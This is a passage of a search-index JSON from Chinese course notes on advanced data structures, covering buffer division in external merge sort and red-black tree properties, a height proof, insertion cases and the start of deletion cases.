<p>\u8f93\u5165\u7f13\u5b58\u533a\u4e5f\u7c7b\u4f3c\u3002\u5982\u679c\u53ea\u67092\u4e2a\u8f93\u5165\u7f13\u5b58\u533a\uff0c\u5f53\u6570\u636e\u6bd4\u8f83\u5b8c\u65f6\uff0c\u6211\u4eec\u5fc5\u987b\u7b49\u5f85\u65b0\u6570\u636e\u4ece\u78c1\u76d8\u8bfb\u5165\u3002\u56e0\u6b64\uff0c\u6211\u4eec\u5c06\u5176\u8fdb\u4e00\u6b65\u5212\u5206\u4e3a4\u4e2a\u8f93\u5165\u7f13\u5b58\u533a\u3002\u5f53\u4e24\u4e2a\u7f13\u5b58\u533a\u7684\u6570\u636e\u6b63\u5728\u6bd4\u8f83\u65f6\uff0c\u53e6\u5916\u4e24\u4e2a\u7f13\u5b58\u533a\u53ef\u4ee5\u5e76\u884c\u8bfb\u53d6\u65b0\u6570\u636e\u3002</p> <p>\u8fd9\u4e5f\u89e3\u91ca\u4e86\u4e3a\u4ec0\u4e48\u5728k\u8def\u5408\u5e76\u4e2d\uff0c\u5c3d\u7ba1\u8d9f\u6570\u51cf\u5c11\uff0c\u4f46k\u8fc7\u9ad8\u5e76\u4e0d\u4e00\u5b9a\u66f4\u4f18\u3002\u6839\u636e\u524d\u8ff0\u8ba8\u8bba\uff0c\u5185\u5b58\u5e94\u5212\u5206\u4e3a\\(2k\\)\u4e2a\u8f93\u5165\u7f13\u5b58\u533a\u548c\\(2\\)\u4e2a\u8f93\u51fa\u7f13\u5b58\u533a\u3002\u5f53k\u5f88\u5927\u65f6\uff0c\u8f93\u5165\u7f13\u5b58\u533a\u88ab\u5212\u5206\u5f97\u5f88\u7ec6\uff0c\u5355\u6b21\u8bfb\u53d6\u7684\u6570\u636e\u91cf\u51cf\u5c11\uff08\u5373\u5757\u5927\u5c0f\u964d\u4f4e\uff09\uff0c\u5bfc\u81f4I/O\u64cd\u4f5c\u589e\u591a\u3002\u56e0\u6b64\uff0c\u5c3d\u7ba1\u8d9f\u6570\u51cf\u5c11\u964d\u4f4e\u4e86I/O\u6210\u672c\uff0c\u4f46\u5e76\u4e0d\u4e00\u5b9a\u66f4\u4f18\u3002\u6700\u4f18\u7684k\u503c\u4e0e\u5177\u4f53\u7684\u786c\u4ef6\u914d\u7f6e\u6709\u5173\u3002</p> <p>Note</p> <p>\u5212\u5206\u4e3a\\(2k\\)\u4e2a\u8f93\u5165\u7f13\u5b58\u533a\u548c\\(2\\)\u4e2a\u8f93\u51fa\u7f13\u5b58\u533a\u662f\u56e0\u4e3a\u9700\u8981\\(k+1\\)\u4e2atapes, \\(k\\) \u4e2a\u8f93\u5165, \\(1\\)\u4e2a\u8f93\u51fa, \u7136\u540e\u4e3a\u4e86\u4e00\u76f4\u5de5\u4f5c,\u9700\u8981double buffer;</p>"},{"location":"NOTE/ADS/wk14/#replacement-selection","title":"\u66ff\u6362\u9009\u62e9(replacement selection)","text":""},{"location":"NOTE/ADS/wk2/","title":"\u7ea2\u9ed1\u6811\u4e0eB+\u6811","text":"<p> \u7ea6 3903 \u4e2a\u5b57  11 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 14 \u5206\u949f</p> <p>\u6211\u8ba8\u538c\u9ed1\u53d4\u53d4</p> <p>\u7ea2\u9ed1\u6811\u4e0d\u60f3\u50cfAVl\u6811\u4e00\u6837\u901a\u8fc7\u5b9a\u4e49\u5e73\u8861\u56e0\u5b50\uff0c\u6bcf\u6b21\u64cd\u4f5c\u4e4b\u540e\u68c0\u67e5\u662f\u5426\u5e73\u8861\uff0c\u901a\u8fc7\u65cb\u8f6c\u6765\u4fdd\u6301\u5e73\u8861\uff0c\u800c\u662f\u653e\u677e\u8fd9\u4e00\u7b80\u5355\u7c97\u66b4\u7684\u60f3\u6cd5\uff0c\u901a\u8fc7\u7ed9\u7ed3\u70b9\u67d3\u8272\uff0c\u4ece\u800c\u5b9a\u4e49\u53e6\u4e00\u79cd\u5e73\u8861</p> <p>\u7ea2\u9ed1\u6811\u7684\u5b9a\u4e49</p> <p>\u4e00\u68f5\u7ea2\u9ed1\u6811\u662f\u6ee1\u8db3\u4ee5\u4e0b\u6027\u8d28\u7684\u4e8c\u53c9\u641c\u7d22\u6811</p> <ol> <li>\u6bcf\u4e2a\u7ed3\u70b9\u8981\u4e48\u662f\u7ea2\u8272\uff0c\u8981\u4e48\u662f\u9ed1\u8272</li> <li>\u6839\u7ed3\u70b9\u662f\u9ed1\u8272</li> <li>\u6bcf\u4e2a\u53f6\u7ed3\u70b9\uff08NIL\u7ed3\u70b9\uff0c\u7a7a\u7ed3\u70b9\uff09\u662f\u9ed1\u8272</li> <li>\u5982\u679c\u4e00\u4e2a\u7ed3\u70b9\u662f\u7ea2\u8272\uff0c\u90a3\u4e48\u5b83\u7684\u4e24\u4e2a\u5b50\u7ed3\u70b9\u90fd\u662f\u9ed1\u8272</li> <li>\u5bf9\u4e8e\u6bcf\u4e2a\u7ed3\u70b9\uff0c\u4ece\u8be5\u7ed3\u70b9\u5230\u5176\u6240\u6709\u540e\u4ee3\u53f6\u7ed3\u70b9\u7684\u7b80\u5355\u8def\u5f84\u4e0a\uff0c\u5747\u5305\u542b\u76f8\u540c\u6570\u76ee\u7684\u9ed1\u8272\u7ed3\u70b9</li> </ol> <p>\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u5bf9\u4e8e\u4e00\u4e2a\u6ca1\u6709\u5de6\u5b50\u7ed3\u70b9\u7684\u7ed3\u70b9\uff0c\u6211\u4eec\u8ba4\u4e3a\u5176\u5b50\u7ed3\u70b9\u662fNIL\u7ed3\u70b9\uff0c\u662f\u9ed1\u8272\u7684</p> <ul> <li>\u6211\u4eec\u79f0 NIL \u4e3a\u5916\u90e8\u7ed3\u70b9\uff0c\u5176\u4f59\u6709\u952e\u503c\u7684\u7ed3\u70b9\u4e3a\u5185\u90e8\u7ed3\u70b9\u3002</li> <li>\u4ece\u67d0\u4e2a\u7ed3\u70b9 X \u51fa\u53d1\u5230\u8fbe\u4e00\u4e2a\u53f6\u5b50\u7ed3\u70b9\uff08NIL\uff09\u7684\u4efb\u610f\u4e00\u6761\u7b80\u5355\u8def\u5f84\u4e0a\u7684\u9ed1\u8272\u7ed3\u70b9\u4e2a\u6570\uff08\u4e0d\u542b X \u672c\u8eab\uff09\u79f0\u4e3a X \u7684\u9ed1\u9ad8\uff0c\u8bb0\u4e3a bh(X)\u3002\u6839\u636e\u5b9a\u4e49\u7b2c\u4e94\u6761\uff0c\u8fd9\u4e00\u5b9a\u4e49\u662f\u5408\u7406\u7684\uff0c\u56e0\u4e3a\u4ece X \u51fa\u53d1\u5230\u8fbe\u4e00\u4e2a\u53f6\u5b50\u7ed3\u70b9\u7684\u4efb\u610f\u4e00\u6761\u7b80\u5355\u8def\u5f84\u4e0a\u7684\u9ed1\u8272\u7ed3\u70b9\u4e2a\u6570\u76f8\u540c\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u6211\u4eec\u5b9a\u4e49\u6574\u68f5\u7ea2\u9ed1\u6811\u7684\u9ed1\u9ad8\u4e3a\u5176\u6839\u7ed3\u70b9\u7684\u9ed1\u9ad8\u3002 </li> </ul> <p>\u4e00\u68f5\u6709 \\(n\\) \u4e2a\u5185\u90e8\u7ed3\u70b9\u7684\u7ea2\u9ed1\u6811\u7684\u9ad8\u5ea6\u81f3\u591a\u4e3a \\(2 \\log (n + 1)\\)\u3002</p> <p>\u5434\u4e00\u822a\u5b66\u957f\u7684ADS\u8bb2\u4e49</p> <p>\u5982\u679c\u6211\u4eec\u820d\u53bb\u5168\u90e8\u7684\u7ea2\u8272\u7ed3\u70b9\uff0c\u5269\u4e0b\u7684\u6811\u7684\u7ed3\u70b9\u4e2a\u6570\u4e00\u5b9a\u5927\u4e8e\u7b49\u4e8e\u9ad8\u5ea6\u4e3a \\(bh(root)\\) \u7684\u5b8c\u5168\u5e73\u8861\u4e8c\u53c9\u6811\u7684\u7ed3\u70b9\u4e2a\u6570\uff0c\u56e0\u4e3a\u5220\u6389\u7ea2\u8272\u7ed3\u70b9\u540e\u53ef\u80fd\u4e0d\u662f\u4e8c\u53c9\uff0c\u8fd9\u5c31\u662f\u8bc1\u660e\u7684\u7b2c\u4e00\u4e2a\u6b65\u9aa4\uff1a\u8bc1\u660e\u4ee5 \\(X\\) \u4e3aroot\u7ed3\u70b9\u7684\u5b50\u6811\u81f3\u5c11\u6709 \\(2^{bh(x)} \u2212 1\\) \u4e2a\u5185\u90e8\u7ed3\u70b9\u3002\u800c\u6839\u636e\u7b2c\u56db\u6761\uff0c\u4efb\u4f55\u8def\u5f84\u4e0a\u9ed1\u8272\u7ed3\u70b9\u5fc5\u5b9a\u5360\u5230\u81f3\u5c11\u4e00\u534a\u7684\u6570\u91cf\uff0c\u56e0\u4e3a\u7ea2\u8272\u4e0d\u80fd\u662f\u7236\u5b50\u5173\u7cfb\uff0c\u6240\u4ee5\u6709\u4e86\u8bc1\u660e\u7684\u7b2c\u4e8c\u6b65\uff0c\u6811\u9ad8\u6700\u591a\u4e3a\u9ed1\u9ad8 \\(2\\) \u500d\u3002</p> <p>\u5177\u4f53\u8bc1\u660e\u7b2c\u4e00\u6b65\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u6570\u5b66\u5f52\u7eb3\u6cd5,\u5bf9\u6811\u7684\u9ad8\u5ea6\\(h(x)\\)\u8fdb\u884c\u5f52\u7eb3</p> <p>Proof</p> \\[ For \\enspace any \\enspace node \\enspace x, sizeof(x) \\geqslant 2^{bh(x)} \u2013 1.\\\\ Prove \\enspace by \\enspace induction.\\\\ If \\enspace h(x) = 0, x \\enspace is \\enspace NULL\\\\ sizeof(x) = 2^0 \u2013 1 = 0\\\\ Suppose \\enspace it \\enspace is \\enspace true \\enspace for \\enspace all \\enspace x \\enspace with \\enspace h(x) \\leqslant k.\\\\ For \\enspace x \\enspace  with \\enspace h(x) = k + 1, \\\\ bh(child) = bh(x) \\enspace or \\enspace bh(x) \u2013 1 \\\\ Since \\enspace h(child) &lt; k,\\\\  sizeof(child) \\geqslant 2^{bh(child)} \u2013 1 \\geqslant 2^{bh(x)-1}\u2013 1 \\\\  Hence \\enspace sizeof(x) = 1 + 2sizeof(child) \\geqslant 2^{bh(x)} \u2013 1 \\] <p>\u8fd9\u6837\u5c31\u5f97\u5230\u4e86\u9ed1\u9ad8\u7684bound\uff0c\u518d\u7528\u7b2c\u4e8c\u6b65\u5c31\u5f97\u5230\u4e86\u6574\u4e2a\u6811\u9ad8\u7684\u4e0a\u754c\u4e86</p> Question <p>\u8bc1\u660e\uff1a\u5728\u4e00\u68f5\u7ea2\u9ed1\u6811\u4e2d\uff0c\u4ece\u67d0\u7ed3\u70b9 X \u5230\u5176\u540e\u4ee3\u53f6\u7ed3\u70b9\u7684\u6240\u6709\u7b80\u5355\u8def\u5f84\u4e2d\uff0c\u6700\u957f\u7684\u4e00\u6761\u8def\u5f84\u7684\u957f\u5ea6\u81f3\u591a\u662f\u6700\u77ed\u4e00\u6761\u7684 2 \u500d</p> <p>\u6700\u77ed\u8def\u662f\u5168\u9ed1\u8def\uff0c\u6700\u957f\u8def\u662f\u9ed1\u7ea2\u76f8\u95f4\u7684\uff0c\u800c\u6240\u6709\u7b80\u5355\u8def\u5f84\u9ed1\u8272\u7ed3\u70b9\u4e2a\u6570\u4e00\u6837\uff0c\u6545\u800c\u53ef\u4ee5\u8bc1\u660e</p> <p>\u5bf9\u4e8e\u641c\u7d22\u64cd\u4f5c\uff0c\u7ea2\u9ed1\u6811\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u662f \\(O(\\log n)\\) \u7684,\u5bf9\u4e8e\u63d2\u5165\u548c\u5220\u9664\uff0c\u5176\u60c5\u51b5\u5c31\u4f1a\u66f4\u52a0\u590d\u6742\u4e00\u4e9b</p>"},{"location":"NOTE/ADS/wk2/#_1","title":"\u7ea2\u9ed1\u6811\u7684\u63d2\u5165","text":"<p>\u5411\u7ea2\u9ed1\u6811\u4e2d\u63d2\u5165\u7ed3\u70b9\u65f6,\u6709\u53ef\u80fd\u4f1a\u7834\u574f\u6811\u7684\u5e73\u8861\u6027\u8d28,\u63d2\u5165\u65f6\u9700\u8981\u5c06\u8be5\u7ed3\u70b9\u521d\u59cb\u989c\u8272\u8bbe\u7f6e\u4e3a\u7ea2\u8272\uff0c\u56e0\u4e3a\u5982\u679c\u662f\u9ed1\u8272\uff0c\u90a3\u4e48\u5176\u6027\u8d285\u4e00\u5b9a\u4f1a\u88ab\u7834\u574f\uff0c\u63a5\u4e0b\u6765\u6211\u4eec\u8ba8\u8bba\u6bcf\u4e00\u79cd\u53ef\u80fd\u7684\u60c5\u51b5</p>"},{"location":"NOTE/ADS/wk2/#_2","title":"\u63d2\u5165\u5728\u9ed1\u7ed3\u70b9\u4e0b\u9762","text":"<p>\u6700\u7b80\u5355\u7684\u60c5\u51b5\uff0c\u6ca1\u6709\u7834\u574f\u4efb\u4f55\u6027\u8d28\uff0c\u4e0d\u9700\u8981\u505a\u4efb\u4f55\u8c03\u6574</p>"},{"location":"NOTE/ADS/wk2/#_3","title":"\u63d2\u5165\u7a7a\u6811\u4e2d","text":"<p>\u7834\u574f\u4e86\u6027\u8d282\uff0c\u4f46\u662f\u5904\u7406\u65b9\u6cd5\u4e5f\u5f88\u7b80\u5355\uff0c\u76f4\u63a5\u5c06\u5176\u67d3\u8272\u6210\u9ed1\u8272\u5373\u53ef</p>"},{"location":"NOTE/ADS/wk2/#_4","title":"\u63d2\u5165\u5230\u7ea2\u8272\u7ed3\u70b9\u7684\u5b50\u8282\u70b9\u4e2d","text":"<p>\u6b64\u65f6\u552f\u4e00\u88ab\u8fdd\u53cd\u7684\u5c31\u662f\u5b9a\u4e49\u7b2c\u56db\u6761\uff0c\u4e3a\u4e86\u6062\u590d\uff0c\u6211\u4eec\u7684\u60f3\u6cd5\u662f\uff0c\u5728\u4e0d\u5f71\u54cd\u6027\u8d285(\u4ee5\u53ca\u5176\u5b83\u6027\u8d28)\u7684\u524d\u63d0\u4e0b\uff0c\u901a\u8fc7\u4e00\u7cfb\u5217\u7684\u67d3\u8272\u548c\u65cb\u8f6c\u4f7f\u5f97\u6ca1\u6709\u7236\u5b50\u90fd\u662f\u7ea2\u8272,\u4e3b\u8981\u5206\u4e3a\u4ee5\u4e0b3\u79cd\u60c5\u51b5</p>"},{"location":"NOTE/ADS/wk2/#x","title":"X \u6709\u7ea2\u53d4\u53d4","text":"<p>X \u7684\u53d4\u53d4\uff08\u5373\u7236\u4eb2\u7684\u5144\u5f1f\uff09\u662f\u7ea2\u8272\u7684\uff0cX \u65e0\u8bba\u5de6\u53f3\u5b69\u5b50\u90fd\u662f\u8be5\u60c5\u51b5</p> <p>wyy\u6709\u8bdd\u8bf4</p> <p>\u8fd9\u91cc\u6240\u6709\u7ed3\u70b9\u90fd\u5e26\u5b50\u6811\uff0c\u4e00\u65b9\u9762\u81f3\u5c11\u6709 NIL \u7ed3\u70b9\uff0c\u53e6\u4e00\u65b9\u9762\u8fd9\u53ef\u4ee5\u4e0d\u4ec5\u4ec5\u8868\u793a\u521a\u521a\u63d2\u5165\u7684\u60c5\u51b5\uff0c\u4e5f\u53ef\u4ee5\u8868\u793a\u7ecf\u8fc7\u51e0\u6b21\u8c03\u6574\u540e\u8fd8\u5728\u88ab\u8fd9\u79cd\u60c5\u51b5\u56f0\u6270\uff0c\u56e0\u6b64\u66f4\u5177\u4e00\u822c\u6027\u3002\u6ce8\u610f G \u4e00\u5b9a\u662f\u9ed1\u8272\uff0c\u56e0\u4e3a P \u662f\u7ea2\u8272\uff0c\u63d2\u5165\u524d\u5b83\u4eec\u5c31\u5728\u7ea2\u9ed1\u6811\u4e2d\uff0c\u56e0\u6b64\u4e0d\u53ef\u80fd\u8fdd\u80cc\u5b9a\u4e49\u7b2c\u56db\u6761</p> <p>\u6211\u4eec\u7684\u60f3\u6cd5\u662f\u5c06X\u7684\u7ea2\u8272\u7529\u6389\uff0c\u6b64\u65f6\u5b83\u7684\u7236\u4eb2\u548c\u53d4\u53d4\u90fd\u662f\u7ea2\u8272\u4e86\uff0c\u81ea\u7136\u53ea\u80fd\u6c42\u52a9\u4e8e\u7956\u7236\uff0c\u4f46\u662f\u6211\u4eec\u4e0d\u80fd\u76f4\u63a5\u4ea4\u6362\u5b83\u4eec\u7684\u989c\u8272(\u5982\u679c\u7956\u7236\u662f\u7ea2\u8272\u800c\u53d4\u53d4\u7236\u4eb2\u662f\u7ea2\u8272\uff0c\u4e5f\u4e0d\u6ee1\u8db3\u6761\u4ef6)\uff0c\u6240\u4ee5\u6211\u4eec\u7684\u65b9\u6848\u5c06X\u7684\u7956\u7236\u67d3\u7ea2\uff0c\u5c06X\u7684\u7236\u4eb2\u548c\u53d4\u53d4\u67d3\u6210\u9ed1\u8272,(\u53ef\u4ee5\u7406\u89e3\u4e3a\u5c06\u7956\u7236\u7684\u9ed1\u8272\u5206\u914d\u7ed9\u7236\u4eb2\u548c\u53d4\u53d4)\u6b64\u65f6\u4e0d\u5f71\u54cd\u9ed1\u9ad8\u7684\u6027\u8d28\uff0c\u4f46\u662f\u5e76\u4e0d\u4ee3\u8868\u95ee\u9898\u5df2\u7ecf\u89e3\u51b3\u4e86\uff0c\u56e0\u4e3a\u66fe\u7956\u7236\u4ecd\u7136\u53ef\u80fd\u662f\u7ea2\u8272\uff0c\u4f46\u662f\u81f3\u5c11\u95ee\u9898\u7f51\u4e0a\u63a8\u8fdb\u4e86\u3002\u5982\u679c\u4e00\u76f4\u63a8\u7ed9\u6839\u8282\u70b9\uff0c\u6839\u8282\u70b9\u67d3\u9ed1\u5373\u53ef\uff0c\u5426\u5219\u5c31\u662f\u63a5\u4e0b\u6765\u7684\u4e24\u79cd\u60c5\u51b5 </p>"},{"location":"NOTE/ADS/wk2/#x_1","title":"X\u7684\u53d4\u53d4\u662f\u9ed1\u8272\u7684","text":"<ul> <li>\u60c5\u51b52\uff1aX \u7684\u53d4\u53d4\uff08\u5373\u7236\u4eb2\u7684\u5144\u5f1f\uff09\u662f\u9ed1\u8272\u7684\uff0c\u4e14 X \u662f\u53f3\u5b69\u5b50</li> <li>\u60c5\u51b53\uff1aX \u7684\u53d4\u53d4\uff08\u5373\u7236\u4eb2\u7684\u5144\u5f1f\uff09\u662f\u9ed1\u8272\u7684\uff0c\u4e14 X \u662f\u5de6\u5b69\u5b50</li> </ul> <p>\u60c5\u51b52\u548c\u60c5\u51b53\u4e4b\u95f4\u662f\u5b58\u5728\u4e92\u76f8\u8f6c\u6362\u7684(\u7531\u56fe\u53ef\u77e5)\uff0c\u89e3\u51b3\u65b9\u6848\u4e0eAVL tree\u4e5f\u662f\u4e00\u81f4\u7684\uff0c\u901a\u8fc7\u5224\u65ad\u7ea2\u8272\u662fLR\u8fd8\u662fLL\u6765\u8fdb\u884c\u65cb\u8f6c\uff0c\u65cb\u8f6c\u5b8c\u4e4b\u540e\uff0c\u91cd\u65b0\u67d3\u8272\uff0c\u7b2c\u4e00\u5c42\u662f\u9ed1\uff0c\u7b2c\u4e8c\u5c42\u662f\u7ea2\u5373\u53ef</p> <p>Note</p> <p>\u5728\u4ee5\u4e0a\u7684\u5206\u6790\u4e2d\uff0c\u6211\u4eec\u53ea\u8003\u8651\u4e86X\u63d2\u5165\u5728\u5de6\u5b50\u6811\u7684\u60c5\u51b5\uff0c\u5bf9\u4e8e\u53f3\u5b50\u6811\u7684\u60c5\u51b5\uff0c\u5b9e\u9645\u4e0a\u662f\u5b8c\u5168\u5bf9\u79f0\u7684\uff0c\u5bf9\u4e8e\u60c5\u51b5\u4e00\uff0c\u4ecd\u7136\u6c42\u52a9\u4e8e\u7956\u7236\uff0c\u5bf9\u4e8e\u60c5\u51b5\u4e8c\u548c\u60c5\u51b5\u4e09\uff0c\u5219\u8003\u8651RL\u548cRR\u7684\u60c5\u51b5,\u6700\u540e\u7684\u67d3\u8272\u4e5f\u662f\u4e00\u6837\u7684</p> <p>\u5434\u4e00\u822a\u5b66\u957f\u7684ADS\u8bb2\u4e49</p> <p> \u5982\u679c\u63d2\u5165\u540e\u76f4\u63a5\u843d\u5165\u60c5\u51b5\u4e09\uff0c\u53ea\u9700\u8981\u4e00\u6b21\u65cb\u8f6c\u67d3\u8272\u5373\u53ef\u89e3\u51b3\uff0c\u76f4\u63a5\u843d\u5165\u60c5\u51b5\u4e8c\uff0c\u4e00\u6b21\u65cb\u8f6c\u8fdb\u5165\u60c5\u51b5\u4e09\uff0c\u518d\u4e00\u6b21\u65cb\u8f6c\u67d3\u8272\u5373\u53ef\u89e3\u51b3\uff0c\u4f46\u5982\u679c\u843d\u5165\u60c5\u51b5\u4e00\uff0c\u4e00\u6b21\u8c03\u6574\u540e\u53ef\u80fd\u8fd8\u5728\u60c5\u51b5\u4e00\uff0c\u53ef\u80fd\u76f4\u5230\u6700\u540e\u90fd\u662f\u901a\u8fc7\u60c5\u51b5\u4e00\u52a0\u4e0a\u67d3\u9ed1\u6839\u7ed3\u70b9\u89e3\u51b3\uff0c\u4e5f\u53ef\u80fd\u51e0\u6b21\u8c03\u6574\u540e\u8fdb\u5165\u60c5\u51b5\u4e8c\u6216\u4e09\u540e\u89e3\u51b3\u3002\u6839\u636e\u8fd9\u4e00\u6d41\u7a0b\u6211\u4eec\u77e5\u9053\uff0c\u7ea2\u9ed1\u6811\u63d2\u5165\u6700\u591a\u53ef\u80fd\u7684\u65cb\u8f6c\u6b21\u6570\u4e3a 2\uff08\u56e0\u4e3a\u53ea\u6709\u60c5\u51b5 2 \u548c 3 \u4f1a\u8981\u65cb\u8f6c\u8fdb\u5165\u60c5\u51b5 2 \u540e 1 \u6b21\u65cb\u8f6c\u5fc5\u5b9a\u8fdb\u5165\u60c5\u51b5 3\uff0c\u8fdb\u5165\u60c5\u51b5 3 \u540e 1 \u6b21\u65cb\u8f6c\u5fc5\u5b9a\u89e3\u51b3\uff09\uff0c\u7136\u540e \u66f4\u6539\u989c\u8272\u6700\u591a\u662f \\(O(\\log n)\\) \u6b21\uff0c\u56e0\u4e3a\u8fdb\u5165\u60c5\u51b5 2 \u6216 3 \u53ea\u9700\u8981\u4e00\u6b21\u67d3\u8272\uff0c\u5728\u60c5\u51b5 1 \u6700\u5dee\u4e5f\u662f\u6bcf\u4e24\u5c42\u67d3\u4e00\u6b21\u8272\uff0c\u800c\u6211\u4eec\u5df2\u7ecf\u8bc1\u660e\u7ea2\u9ed1\u6811\u7684\u6700\u5927\u9ad8\u5ea6\u662f\\(O(\\log n)\\)\u7684\u3002 \u56e0\u6b64\u63d2\u5165\u64cd\u4f5c\u5305\u62ec\\(O(\\log n)\\)\u7684\u641c\u7d22\u65f6\u95f4\uff0c\u52a0\u5e38\u6570\u7684\u65cb\u8f6c\uff0c\u52a0\\(O(\\log n)\\)\u7684\u67d3\u8272\uff0c\u56e0\u6b64\u8fd8\u662f\\(O(\\log n)\\)\u7684\u65f6 \u95f4\u590d\u6742\u5ea6</p> <p>\u4e00\u68f5\u6709 n \u4e2a\u5185\u90e8\u7ed3\u70b9\u7684\u7ea2\u9ed1\u6811\u63d2\u5165\u4e00\u4e2a\u7ed3\u70b9\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a \\(O(\\log n)\\)\u3002</p> Question <p>\u8003\u8651\u4ece\u7a7a\u6811\u5f00\u59cb\u8fde\u7eed\u63d2\u5165 \\(n(n &gt; 1)\\) \u4e2a\u7ed3\u70b9\u5f97\u5230\u4e00\u68f5\u7ea2\u9ed1\u6811\uff08\u6bcf\u4e00\u6b65\u63d2\u5165\u90fd\u8981\u4fdd\u8bc1\u7ea2\u9ed1\u6811\u6027\u8d28\uff09\uff0c\u8bd5\u95ee\u8fd9\u68f5\u6811\u4e00\u5b9a\u4f1a\u6709\u7ea2\u8272\u7ed3\u70b9\u5417\uff1f\u82e5\u662f\uff0c\u8bf7\u7ed9\u51fa\u6e05\u6670\u7684\u8bc1\u660e\uff1b\u82e5\u4e0d\u662f\uff0c\u8bf7\u4e3e\u51fa\u53cd\u4f8b\u3002</p> <p>\u4e00\u5b9a\u4f1a\uff0c\u53ef\u4ee5\u4f7f\u7528\u6570\u5b66\u5f52\u7eb3\u6cd5\u8bc1\u660e\uff1an = 2 \u65f6\u663e\u7136\u6b63\u786e\uff0c\u6839\u4e0b\u9762\u63d2\u5165\u7684\u7ed3\u70b9\u4e00\u5b9a\u662f\u7ea2\u8272\u4e14\u65e0\u9700\u8c03\u6574\uff1b\u6b64\u540e\u5982\u679c\u4e0d\u9700\u8981\u8c03\u6574\uff0c\u56e0\u4e3a\u6211\u4eec\u63d2\u5165\u7684\u662f\u7ea2\u8272\u7ed3\u70b9\uff0c\u56e0\u6b64\u7ea2\u8272\u7ed3\u70b9\u53ea\u53ef\u80fd\u53d8\u591a\uff1b\u5982\u679c\u9700\u8981\u8c03\u6574\uff0c\u5219\u6839\u636e\u4e09\u79cd\u60c5\u51b5\u7684\u8ba8\u8bba\uff0c\u6211\u4eec\u53d1\u73b0\u65e0\u8bba\u54ea\u4e00\u79cd\u60c5\u51b5\uff0c\u5728\u8c03\u6574\u4e4b\u540e\u4e00\u5b9a\u8fd8\u4fdd\u7559\u7740\u7ea2\u8272\u7ed3\u70b9\u3002\u6709\u540c\u5b66\u53ef\u80fd\u4f1a\u8d28\u7591\uff0c\u60c5\u51b5 1 \u5982\u679c G \u5230\u4e86\u6839\u7ed3\u70b9\uff0c\u5219\u9700\u8981\u88ab\u67d3\u9ed1\uff0c\u4f46\u8981\u6ce8\u610f\u7684\u662f\uff0c\u6b64\u65f6\u7684 X \u8fd8\u662f\u7ea2\u8272\u7684\uff0c\u56e0\u6b64\u4e0d\u7ba1\u4ec0\u4e48\u60c5\u51b5\u90fd\u662f\u4f1a\u4fdd\u7559\u7ea2\u8272\u7ed3\u70b9</p>"},{"location":"NOTE/ADS/wk2/#_5","title":"\u7ea2\u9ed1\u6811\u7684\u5220\u9664","text":"<p>\u6211\u4eec\u9996\u5148\u56de\u5fc6\u666e\u901a\u4e8c\u53c9\u6811\u7684\u5220\u9664\u64cd\u4f5c\uff0c\u4e3b\u8981\u6709\u4ee5\u4e0b\u4e09\u79cd\u60c5\u51b5</p> <ul> <li>\u5982\u679cX\u662f\u53f6\u5b50\u7ed3\u70b9\uff0c\u76f4\u63a5\u5220\u9664\u5373\u53ef</li> <li>\u5982\u679cX\u53ea\u6709\u4e00\u4e2a\u5b69\u5b50\uff0c\u76f4\u63a5\u7528\u5b69\u5b50\u66ff\u6362X\u5373\u53ef</li> <li>\u5982\u679cX\u6709\u4e24\u4e2a\u5b69\u5b50\uff0c\u627e\u5230X\u7684\u540e\u7ee7Y\uff0c\u5c06Y\u7684\u503c\u8d4b\u7ed9X\uff0c\u7136\u540e\u5220\u9664Y\uff0c\u8fd9\u4e2aY\u4e00\u822c\u800c\u8a00\u662f\u5de6\u5b50\u6811\u7684\u6700\u5927\u7ed3\u70b9\uff0c\u6216\u8005\u662f\u53f3\u5b50\u6811\u7684\u6700\u5c0f\u7ed3\u70b9</li> </ul> <p>\u7b2c\u4e09\u79cd\u60c5\u51b5\u53ef\u4ee5\u901a\u8fc7\u4e00\u6b65\u4ea4\u6362\u53d8\u6210\u7b2c\u4e00\u7b2c\u4e8c\u79cd\u60c5\u51b5\u4e2d\u7684\u4e00\u79cd\uff0c\u56e0\u4e3a\u5de6\u5b50\u6811\u7684\u6700\u5927\u8282\u70b9\u4e0d\u53ef\u80fd\u6709\u53f3\u7ed3\u70b9\uff0c\u53f3\u5b50\u6811\u7684\u6700\u5c0f\u7ed3\u70b9\u4e0d\u53ef\u80fd\u6709\u5de6\u7ed3\u70b9</p>"},{"location":"NOTE/ADS/wk2/#_6","title":"\u53f6\u5b50\u7ed3\u70b9\u7684\u5220\u9664","text":"<p>\u5bf9\u4e8e\u7b2c\u4e00\u79cd\u60c5\u51b5,\u5982\u679cX\u6ca1\u6709\u5b50\u8282\u70b9,\u4ea6\u5373X\u662f\u53f6\u5b50\u7ed3\u70b9,\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u5220\u9664X,\u5e76\u8ba9NiL\u7ed3\u70b9\u63a5\u66ff\u8fd9\u4e2a\u4f4d\u7f6e,\u76f8\u5f53\u4e8e\u4ec0\u4e48\u90fd\u6ca1\u6709\u5e72</p>"},{"location":"NOTE/ADS/wk2/#_7","title":"\u5185\u90e8\u53f6\u5b50\u7ed3\u70b9","text":"<p>\u6240\u4ee5\u5bf9\u4e8e\u7ea2\u9ed1\u6811\u7684\u5220\u9664,\u7f29\u51cf\u5230\u4e86\u4e24\u79cd\u5927\u60c5\u51b5</p> <ul> <li>Case 1:X\u662f\u6709\u4e24\u4e2aNiL\u7ed3\u70b9\u7684\u5185\u90e8\u7ed3\u70b9</li> <li>Case 2:X\u53ea\u6709\u4e00\u4e2aNiL\u7ed3\u70b9\u7684\u5185\u90e8\u7ed3\u70b9<ul> <li>Case 2-1:child\u662f\u7ea2\u8272</li> <li>Case 2-2:child\u662f\u9ed1\u8272</li> </ul> </li> </ul> 